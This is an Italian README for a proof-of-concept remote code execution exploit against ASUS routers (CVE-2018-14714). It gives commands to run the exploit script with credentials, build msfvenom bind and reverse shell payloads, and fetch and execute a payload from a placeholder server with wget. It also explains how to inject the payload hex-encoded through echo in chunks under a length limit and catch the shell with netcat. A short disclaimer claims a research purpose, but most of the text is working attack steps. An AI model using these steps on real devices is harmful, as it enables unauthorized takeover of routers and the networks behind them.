
ASUS wifi router RCE vulnerability
Vulnerabilità RCE del router wifi ASUS
Questo PoC è solo per scopi di apprendimento e ricerca. Non usarlo per attività illegali; sei l'unico responsabile di eventuali conseguenze legali.
Nella dimostrazione sottostante, il modello di dispositivo testato è un ASUS RT-N18U, la versione del firmware è 3.0.0.4.378.9216., un router che ho acquistato durante i miei anni universitari. Ora è la mia macchina di test :)
Condizioni di sfruttamento
Devi installare le dipendenze:
$ python3 -m pip install requestsEsegui lo script direttamente per ottenere le istruzioni di utilizzo. Puoi eseguire il comando qui sotto per verificare se il target è vulnerabile.
$ python3 CVE-2018-14714-RCE_PoC.py <target> <user> <password>

Puoi usare il comando msfvenom per generare un eseguibile binario di shell inversa leggero. Puoi modificare i parametri in base all'ambiente del kernel con cui stai lavorando. Nel mio caso, è armv7l, e il comando è il seguente:
Bind shell
$ msfvenom -p linux/armle/shell_bind_tcp LPORT=4444 -f elf -o pwn.elf

Reverse shell
$ msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o pwn.elf

Se il tuo dispositivo target ha il comando wget disponibile, dopo aver avviato l'ascolto sulla porta 4444, puoi usare il seguente comando in una pseudo-shell per ottenere una shell inversa:
$ python3 CVE-2018-14714-RCE_PoC.py admin admin shell
shell> cd /tmp && wget http://YourServer/pwn.elf -O pwn.elf && chmod +x ./pwn.elf && ./pwn.elf
Se il tuo ambiente target non ha comandi di accesso alle risorse remote integrati, continua a leggere.
Converti il file binario generato in dati binari.
$ for i in `cat pwn.elf | xxd -p`;do echo -n $i;done
$ python3 -c 'a=input("binary data:");print("echo -ne \"",end="");print(*[f"\\x{a[i:i+2]}" for i in range(0,len(a),2)],sep="",end="");print("\"")'

Per confermare l'esistenza di una vulnerabilità sul target, esegui nuovamente lo script Python con i parametri shell aggiunti per entrare in una pseudo-shell interattiva. Nota che è normale se i comandi non producono output, poiché non c'è un posto dove ricevere stdout. Tuttavia, l'uso del comando sleep può aiutarti a verificare che i comandi siano stati effettivamente eseguiti.

Inoltre, è importante notare che, basandosi sui test, la riga di comando consente un massimo di 1022 caratteri. Devi costruire comandi di lunghezza inferiore a 1022 caratteri. Pertanto, dovrai dividere manualmente il payload ed eseguirlo in parti per assicurarti che il comando venga eseguito con successo.

Successivamente, otteniamo una vera shell inversa. Puoi iniziare ascoltando sulla porta specificata.
$ nc -lvnp 4444
Esegui lo script Python PoC per ottenere una pseudo-shell per iniettare il payload.
$ python3 CVE-2018-14714-RCE_PoC.py admin admin shell

Infine, non resta che godersi la shell inversa acquisita :)
